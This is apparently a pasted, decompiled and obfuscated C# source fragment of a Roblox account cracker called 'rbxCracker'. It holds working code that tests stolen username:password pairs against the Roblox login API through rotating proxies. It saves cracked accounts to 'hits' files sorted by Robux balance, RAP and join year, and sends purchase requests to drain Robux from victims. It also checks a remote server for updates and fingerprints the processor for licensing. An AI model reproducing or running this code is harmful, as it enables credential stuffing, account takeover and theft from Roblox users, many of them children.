- ResourceEnumerator.HostProtectionPermission(WellKnownSidType.CrossAppDomainChannelInvalidOperationException(httpRequest, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "https://www.roblox.com/api/item.ashx?rqtype=purchase&productID=",
- text,
- "&expectedCurrency=1&expectedPrice=",
- text2,
- "&expectedSellerID=",
- text3,
- "&userAssetID="
- })));
- CCMDictionary.ISymbolVariable(ConsoleColor.Green, "[Good] - Sent " + int_0 + " robux.");
- CCMDictionary.SponsorState(cookieDictionary_0);
- }
- }
- }
- // Token: 0x06000080 RID: 128 RVA: 0x00013624 File Offset: 0x00011824
- private static void UIPermissionAttribute(string string_0, string string_1, string string_2, string string_3, string string_4, string string_5, string string_6, string string_7, bool bool_0 = false)
- {
- <Module>.ReadDelegate(12);
- if (!bool_0 && (Convert.ToInt32(string_2) >= CCMDictionary.PermissionSetEnumeratorInternal || !string_4.Contains("No") || string_7 != "No collectibles found." || string_6.Contains("2007") || string_6.Contains("2008") || string_6.Contains("2009") || string_6.Contains("2006") || Convert.ToInt32(string_3) > 0))
- {
- using (StreamWriter streamWriter = EnvironmentIServiceProvider.StackFrameHelper(MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- Directory.GetCurrentDirectory(),
- "\\hits\\",
- string_6.Contains("2007") ? "2007\\" : (string_6.Contains("2008") ? "2008\\" : (string_6.Contains("2009") ? "2009\\" : (string_6.Contains("2006") ? "2006\\" : ""))),
- GenericTypeParameterBuilder.FrameSecurityDescriptor(MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- WindowsAccountType.SymCustomAttr(string_0, new string[]
- {
- ":"
- }, StringSplitOptions.None)[0],
- " Robux_",
- string_2,
- "_RAP_",
- string_3,
- (!string_4.Contains("No")) ? " Builders Club" : ""
- })),
- ".txt"
- })))
- {
- streamWriter.WriteLine(string_0);
- streamWriter.WriteLine("Verified: " + string_1);
- streamWriter.WriteLine("Robux: " + string_2);
- streamWriter.WriteLine("RAP: " + string_3);
- streamWriter.WriteLine("Builders Club: " + string_4);
- streamWriter.WriteLine("Over 13: " + string_5);
- streamWriter.WriteLine("Joined: " + string_6 + Environment.NewLine);
- EventProviderWriter.IntPtr(streamWriter, (string_7 == "") ? "No collectibles found." : string_7.Replace("<br>", Environment.NewLine));
- streamWriter.Close();
- }
- }
- }
- // Token: 0x06000081 RID: 129 RVA: 0x00013914 File Offset: 0x00011B14
- private unsafe static string Nullable1()
- {
- <Module>.ReadDelegate(13);
- byte* ptr = stackalloc byte[(UIntPtr)8];
- int num = new Random().Next(0, 4);
- *(int*)ptr = num;
- string result = "";
- int num2 = *(int*)ptr;
- checked
- {
- *(int*)(ptr + 4) = num2;
- switch (*(int*)(ptr + 4))
- {
- case 0:
- result = FileAssociationEntryFieldId.Signature();
- break;
- case 1:
- result = FileAssociationEntryFieldId.COORD();
- break;
- case 2:
- result = FileAssociationEntryFieldId.EnvironmentVariableTarget();
- break;
- case 3:
- result = FileAssociationEntryFieldId.ISO2022Modes();
- break;
- case 4:
- result = FileAssociationEntryFieldId.IChannelReceiverHook();
- break;
- }
- return result;
- }
- }
- // Token: 0x06000082 RID: 130 RVA: 0x000139E4 File Offset: 0x00011BE4
- private static string ConstructorBuilder()
- {
- <Module>.ReadDelegate(14);
- ManagementClass managementClass = new ManagementClass("win32_processor");
- ManagementObjectCollection instances = managementClass.GetInstances();
- string string_ = "";
- using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = instances.GetEnumerator())
- {
- if (enumerator.MoveNext())
- {
- ManagementObject managementObject = (ManagementObject)enumerator.Current;
- string_ = managementObject.Properties["processorID"].Value.ToString();
- }
- }
- return CCMDictionary.BinaryHeaderEnum(string_);
- }
- // Token: 0x06000083 RID: 131 RVA: 0x00013AA0 File Offset: 0x00011CA0
- private static void RuntimePropertyInfo()
- {
- <Module>.ReadDelegate(15);
- if (new HttpRequest().Get("https://proxies24.com/rbxCrack/version.txt", null).ToString() != Assembly.GetExecutingAssembly().GetName().Version.ToString())
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Green, "New update available!");
- System.Threading.Thread.Sleep(2000);
- Process.Start("https://proxies24.com/rbxCrack");
- Environment.Exit(0);
- }
- }
- // Token: 0x06000084 RID: 132 RVA: 0x00013B18 File Offset: 0x00011D18
- private unsafe static string BinaryHeaderEnum(string string_0)
- {
- <Module>.ReadDelegate(16);
- byte* ptr = stackalloc byte[(UIntPtr)4];
- MD5 md = MD5.Create();
- byte[] bytes = Encoding.ASCII.GetBytes(string_0);
- byte[] array = md.ComputeHash(bytes);
- StringBuilder stringBuilder = new StringBuilder();
- *(int*)ptr = 0;
- while (*(int*)ptr < array.Length)
- {
- stringBuilder.Append(array[*(int*)ptr].ToString("X2"));
- *(int*)ptr = *(int*)ptr + 1;
- }
- return stringBuilder.ToString();
- }
- // Token: 0x06000085 RID: 133 RVA: 0x00013BD0 File Offset: 0x00011DD0
- private static void PrecannedResource(string string_0, string string_1)
- {
- <Module>.ReadDelegate(17);
- bool flag = false;
- int num = 0;
- do
- {
- if (num >= 10)
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.DarkMagenta, "[Proxy] - " + string_0 + ":" + string_1);
- flag = true;
- }
- else
- {
- string item = CCMDictionary.HostExecutionContextSwitcher[CCMDictionary.ICollection1.Next(0, CCMDictionary.HostExecutionContextSwitcher.Count)];
- try
- {
- byte[] bytes = new UTF8Encoding().GetBytes("Username=" + string_0 + "&Password=" + string_1);
- HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://api.roblox.com/v2/login");
- httpWebRequest.Method = "POST";
- httpWebRequest.Accept = "*/*";
- httpWebRequest.UserAgent = "runscope/0.1";
- httpWebRequest.ContentType = "application/x-www-form-urlencoded";
- httpWebRequest.AutomaticDecompression = DecompressionMethods.None;
- httpWebRequest.ContentLength = (long)bytes.Length;
- using (Stream requestStream = httpWebRequest.GetRequestStream())
- {
- requestStream.Write(bytes, 0, bytes.Length);
- }
- using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
- {
- using (Stream responseStream = httpWebResponse.GetResponseStream())
- {
- using (StreamReader streamReader = new StreamReader(responseStream))
- {
- if (streamReader.ReadToEnd().Contains("userId"))
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Green, "[Good] - " + string_0 + ":" + string_1);
- flag = true;
- }
- else
- {
- CCMDictionary.ISymbolVariable(ConsoleColor.Red, "[Bad] - " + string_0 + ":" + string_1);
- flag = true;
- }
- }
- }
- }
- }
- catch (WebException ex)
- {
- if (!CCMDictionary.BinaryMethodReturnMessage)
- {
- CCMDictionary.HostExecutionContextSwitcher.Remove(item);
- }
- num++;
- CorCallingConvention.ObfuscateAssemblyAttribute.IComparer(ConsoleColor.DarkRed, MethodInfoIClientFormatterSinkProvider.FXAssembly(new string[]
- {
- "[Error] - ",
- string_0,
- ":",
- string_1,
- " ",
- ex.Message
- }));
- }
- }
- Console.Title = "rbxCracker - Proxies: " + Convert.ToString(CCMDictionary.HostExecutionContextSwitcher.Count);
- }
- while (!flag);
- }
- // Token: 0x06000086 RID: 134 RVA: 0x00013F38 File Offset: 0x00012138
- private static void ISymbolVariable(ConsoleColor consoleColor_0, string string_0)
- {
- <Module>.ReadDelegate(18);
- Console.ForegroundColor = consoleColor_0;
- Console.WriteLine(string_0);
- Console.ResetColor();
- }
- // Token: 0x06000087 RID: 135 RVA: 0x00013F68 File Offset: 0x00012168
- private static void CryptoKeyAccessRule()
- {
- <Module>.ReadDelegate(19);
- Directory.CreateDirectory(Directory.GetCurrentDirectory() + "\\hits\\2006");
- Directory.CreateDirectory(Directory.GetCurrentDirectory() + "\\hits\\2007");
- Directory.CreateDirectory(Directory.GetCurrentDirectory() + "\\hits\\2008");
- Directory.CreateDirectory(Directory.GetCurrentDirectory() + "\\hits\\2009");
- }
- // Token: 0x06000088 RID: 136 RVA: 0x00013FD4 File Offset: 0x000121D4
- private static string smethod_0(string string_0)
- {
- <Module>.ReadDelegate(20);
- return string.Join("_", string_0.Split(System.IO.Path.GetInvalidFileNameChars()));
- }
- // Token: 0x06000089 RID: 137 RVA: 0x0001400C File Offset: 0x0001220C
- private static int StringParser(string string_0)
- {
- if (System.IO.File.Exists(string_0))
- {
- using (StreamReader streamReader = new StreamReader(string_0))
- {
- int num = 0;
- while (streamReader.ReadLine() != null)
- {
- num++;
- }
- return num;
- }
- }
- return -1;
- }
- // Token: 0x0600008A RID: 138 RVA: 0x00014090 File Offset: 0x00012290
- private static void ArgMapper()
- {
- <Module>.ReadDelegate(21);
- System.Threading.Thread.Sleep(1000);
- Environment.Exit(0);
- }
- // Token: 0x0600008B RID: 139 RVA: 0x0000C264 File Offset: 0x0000A464
- public CCMDictionary()
- {
- }
- // Token: 0x0600008C RID: 140 RVA: 0x000140BC File Offset: 0x000122BC
- static CCMDictionary()
- {
- }
- // Token: 0x0400013E RID: 318
- private static List<string> IdentityNotMappedException = new List<string>();
- // Token: 0x0400013F RID: 319
- private static List<string> HostExecutionContextSwitcher = new List<string>();
- // Token: 0x04000140 RID: 320
- private static List<string> MethodImplAttribute = new List<string>();
- // Token: 0x04000141 RID: 321
- private static CookieDictionary SearchData = new CookieDictionary(false);
- // Token: 0x04000142 RID: 322
- private static StreamWriter ArraySortHelper2;
- // Token: 0x04000143 RID: 323
- private static StreamWriter SafeCertContextHandle;
- // Token: 0x04000144 RID: 324
- private static Random ICollection1 = new Random();
- // Token: 0x04000145 RID: 325
- private static int IContextProperty;
- // Token: 0x04000146 RID: 326
- private static int KeyedCollection2;
- // Token: 0x04000147 RID: 327
- private static int OperationCanceledException;
- // Token: 0x04000148 RID: 328
- private static int SafeCompressedStackHandle;
- // Token: 0x04000149 RID: 329
- private static int CalendarTable;
- // Token: 0x0400014A RID: 330
- private static int CATEGORY;
- // Token: 0x0400014B RID: 331
- private static int EventWaitHandleRights;
- // Token: 0x0400014C RID: 332
- private static int PermissionSetEnumeratorInternal = 0;
- // Token: 0x0400014D RID: 333
- private static string TargetParameterCountException;
- // Token: 0x0400014E RID: 334
- private static string DictionaryEnumeratorByKeys = "";
- // Token: 0x0400014F RID: 335
- private static bool BinaryMethodReturnMessage;
- // Token: 0x04000150 RID: 336
- private static bool SponsorStateInfo;
- // Token: 0x04000151 RID: 337
- private static bool SpecialNameAttribute = false;
- }
- }
Add Comment
Please, Sign In to add comment